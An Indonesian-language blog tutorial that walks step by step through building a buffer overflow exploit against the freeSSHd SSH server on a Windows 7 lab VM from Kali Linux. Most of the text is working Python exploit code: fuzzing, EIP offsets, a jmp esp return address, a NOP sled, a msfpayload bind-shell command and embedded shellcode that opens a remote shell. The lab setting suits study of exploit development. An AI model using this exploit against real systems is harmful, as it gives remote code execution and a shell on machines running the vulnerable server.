Hal-hal yang perlu di persiapkan adalah :
- 2 OS yang berisi masing-masing VM Kali Linux ( sebagai attacker) dan VM Windows 7 ( sebagai korban )
- Immunity Debugger
- aplikasi freeSSHd.exe, yg bisa di download di sini
- contoh penampakan software freeSSHd
Langkah pertama:
Kita mencoba untuk mengirimkan suatu string "A" sebanyak-banyaknya sampai aplikasi tersebut mengalami crash, dalam contoh aplikasi ini saya akan mengirimkan sebanyak 25000.
Script yang di gunakan seperti berikut:
#!/usr/bin/python
import socket
host = '10.7.9.248'
port = 22
def fuzz(payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload)
s.shutdown
s.close
print "Attacking {0}:{1} ...".format(host, port)
# header dari exploit-db 1787
command = "\x53\x53\x48\x2d\x31\x2e\x39\x39\x2d\x4f\x70\x65\x6e\x53\x53\x48" \
"\x5f\x33\x2e\x34\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"
command += "A" * 25000
command += "\r\n"
print "command {0} chars ...".format(len(command))
fuzz(command)
Dan ternyata aplikasi mengalami crash, seperti pada gambar di bawah ini.
Langkah kedua:
Setelah aplikasi mengalami crash di string "A" sebanyak 25000, sekarang kita akan membuat pattern string sebanyak 25000 juga, seperti pada gambar di bawah ini :
Langkah ketiga:
Edit script sebelumnya dengan menambahkan string dari langkah kedua, seperti berikut ini:
#!/usr/bin/pythonPerhatikan value dari alamat memory ESP dan EIP yang keluar di immunity debugger, seperti pada gambar di bawah ini:
import socket
host = '10.7.9.248'
port = 22
def fuzz(payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload)
s.shutdown
s.close
print "Attacking {0}:{1} ...".format(host, port)
# header dari exploit-db 1787
command = "\x53\x53\x48\x2d\x31\x2e\x39\x39\x2d\x4f\x70\x65\x6e\x53\x53\x48" \
"\x5f\x33\x2e\x34\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"
command += "hasil dari pattern_offset 25000"
command += "\r\n"
print "command {0} chars ...".format(len(command))
fuzz(command)
Langkah keempat:
Sekarang kita perlu mengetahui posisi ESP dan EIP berada di mana dengan menggunakan perintah seperti pada gambar di bawah ini:
Langkah kelima:
Saat nya kita coba lagi dengan lebih detil jumlah string yang harus di kirim kan sesuai dengan hasil di atas ;) Kemudian kita belajar untuk mengetahui apa saja karakter yang di larang, agar saat membuat payload shell tidak menjadi masalah ;)
Untuk buat script generate karakternya, bisa cek di sini
Edit script sebelumnya dengan menambahkan detil informasi yang kita dapat dari proses sebelumnya, seperti berikut:
#!/usr/bin/pythonDan ternyata hasil nya masih ada keanehan, berarti kita harus uji coba dengan menghapus karakter dari hasil generate ./a.out.
import socket
host = '10.7.9.248'
port = 22
def fuzz(payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload)
s.shutdown
s.close
offsets = {
'EIP':1055,
'ESP':1063
}
print "Attacking {0}:{1} ...".format(host, port)
# header dari exploit-db 1787
command = "\x53\x53\x48\x2d\x31\x2e\x39\x39\x2d\x4f\x70\x65\x6e\x53\x53\x48" \
"\x5f\x33\x2e\x34\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"
command += "A" * (offsets['EIP'])
command += "\xc3\x9c\xb7\x75" # jmp esp shell32.dll
command += "C" * 4
command += "\x90" * 20 # nop sleed
command += "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
command += "D" * 25000
command += "\r\n"
print "command {0} chars ...".format(len(command))
fuzz(command)
Sekarang kita coba hapus karakter "\x00", kemudian jalankan script tersebut. Dan akhirnya karakter yang muncul sudah teratur, seperti pada gambar berikut ini:
Dan ternyata EIP berhasil kita ubah value nya.
Kemudian kita cari alamat memory yang berisi "jmp esp" di file user32.dll, seperti pada gambar berikut:
Sekarang saat nya membuat payload shell nya dan jangan lupa pastikan payload shell kita tidak terdapat karakter yang di larang tersebut.
Langkah keenam:
Kita buat payload shell di Kali Linux dengan menggunakan perintah berikut:
msfpayload windows/shell_bind_tcp R | msfencode -a x86 -b "\x00" -t cKemudian edit script kita, untuk menambahkan script payload shell tersebut, seperti berikut:
#!/usr/bin/pythonSelanjutnya kita perlu uji coba script tersebut, jika memang aplikasi tidak crash, harus nya kita sudah mendapatkan shell nya, berikut uji coba nya:
import socket
host = '10.7.9.248'
port = 22
def fuzz(payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload)
s.shutdown
s.close
offsets = {
'EIP':1055,
'ESP':1063
}
# header dari exploit-db 1787
command = "\x53\x53\x48\x2d\x31\x2e\x39\x39\x2d\x4f\x70\x65\x6e\x53\x53\x48" \
"\x5f\x33\x2e\x34\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"
command += "A" * (offsets['EIP'])
command += "\xc3\x9c\xb7\x75"
command += "C" * 4
command += "\x90" * 20 # nop sleed
command += ("\xdb\xc0\xd9\x74\x24\xf4\xb8\x7a\xf2\xb7\x83\x5d\x33\xc9\xb1"
"\x56\x31\x45\x18\x03\x45\x18\x83\xed\x86\x10\x42\x7f\x9e\x5c"
"\xad\x80\x5e\x3f\x27\x65\x6f\x6d\x53\xed\xdd\xa1\x17\xa3\xed"
"\x4a\x75\x50\x66\x3e\x52\x57\xcf\xf5\x84\x56\xd0\x3b\x09\x34"
"\x12\x5d\xf5\x47\x46\xbd\xc4\x87\x9b\xbc\x01\xf5\x53\xec\xda"
"\x71\xc1\x01\x6e\xc7\xd9\x20\xa0\x43\x61\x5b\xc5\x94\x15\xd1"
"\xc4\xc4\x85\x6e\x8e\xfc\xae\x29\x2f\xfc\x63\x2a\x13\xb7\x08"
"\x99\xe7\x46\xd8\xd3\x08\x79\x24\xbf\x36\xb5\xa9\xc1\x7f\x72"
"\x51\xb4\x8b\x80\xec\xcf\x4f\xfa\x2a\x45\x52\x5c\xb9\xfd\xb6"
"\x5c\x6e\x9b\x3d\x52\xdb\xef\x1a\x77\xda\x3c\x11\x83\x57\xc3"
"\xf6\x05\x23\xe0\xd2\x4e\xf0\x89\x43\x2b\x57\xb5\x94\x93\x08"
"\x13\xde\x36\x5d\x25\xbd\x5e\x92\x18\x3e\x9f\xbc\x2b\x4d\xad"
"\x63\x80\xd9\x9d\xec\x0e\x1d\xe1\xc7\xf7\xb1\x1c\xe7\x07\x9b"
"\xda\xb3\x57\xb3\xcb\xbb\x33\x43\xf3\x6e\x93\x13\x5b\xc0\x54"
"\xc4\x1b\xb0\x3c\x0e\x94\xef\x5d\x31\x7e\x86\x59\xff\x5a\xcb"
"\x0d\x02\x5d\xfa\x91\x8b\xbb\x96\x39\xda\x14\x0e\xf8\x39\xad"
"\xa9\x03\x68\x81\x62\x94\x24\xcf\xb4\x9b\xb4\xc5\x97\x30\x1c"
"\x8e\x63\x5b\x99\xaf\x74\x76\x89\xa6\x4d\x11\x43\xd7\x1c\x83"
"\x54\xf2\xf6\x20\xc6\x99\x06\x2e\xfb\x35\x51\x67\xcd\x4f\x37"
"\x95\x74\xe6\x25\x64\xe0\xc1\xed\xb3\xd1\xcc\xec\x36\x6d\xeb"
"\xfe\x8e\x6e\xb7\xaa\x5e\x39\x61\x04\x19\x93\xc3\xfe\xf3\x48"
"\x8a\x96\x82\xa2\x0d\xe0\x8a\xee\xfb\x0c\x3a\x47\xba\x33\xf3"
"\x0f\x4a\x4c\xe9\xaf\xb5\x87\xa9\xc0\xff\x85\x98\x48\xa6\x5c"
"\x99\x14\x59\x8b\xde\x20\xda\x39\x9f\xd6\xc2\x48\x9a\x93\x44"
"\xa1\xd6\x8c\x20\xc5\x45\xac\x60")
command += "D" * 25000
command += "\r\n"
print "command {0} chars ...".format(len(command))
fuzz(command)
Dari hasil di atas, tampak aplikasi tidak crash. Sekarang kita coba akses shell yang sudah kita buat, dan jika berhasil harus nya seperti pada gambar berikut ini:
Note:
Sebagai latihan, bisa mencoba dengan menggunakan OS Windows yang lain nya, untuk mengetahui perbedaan nya seperti apa ;)
Tidak ada komentar:
Posting Komentar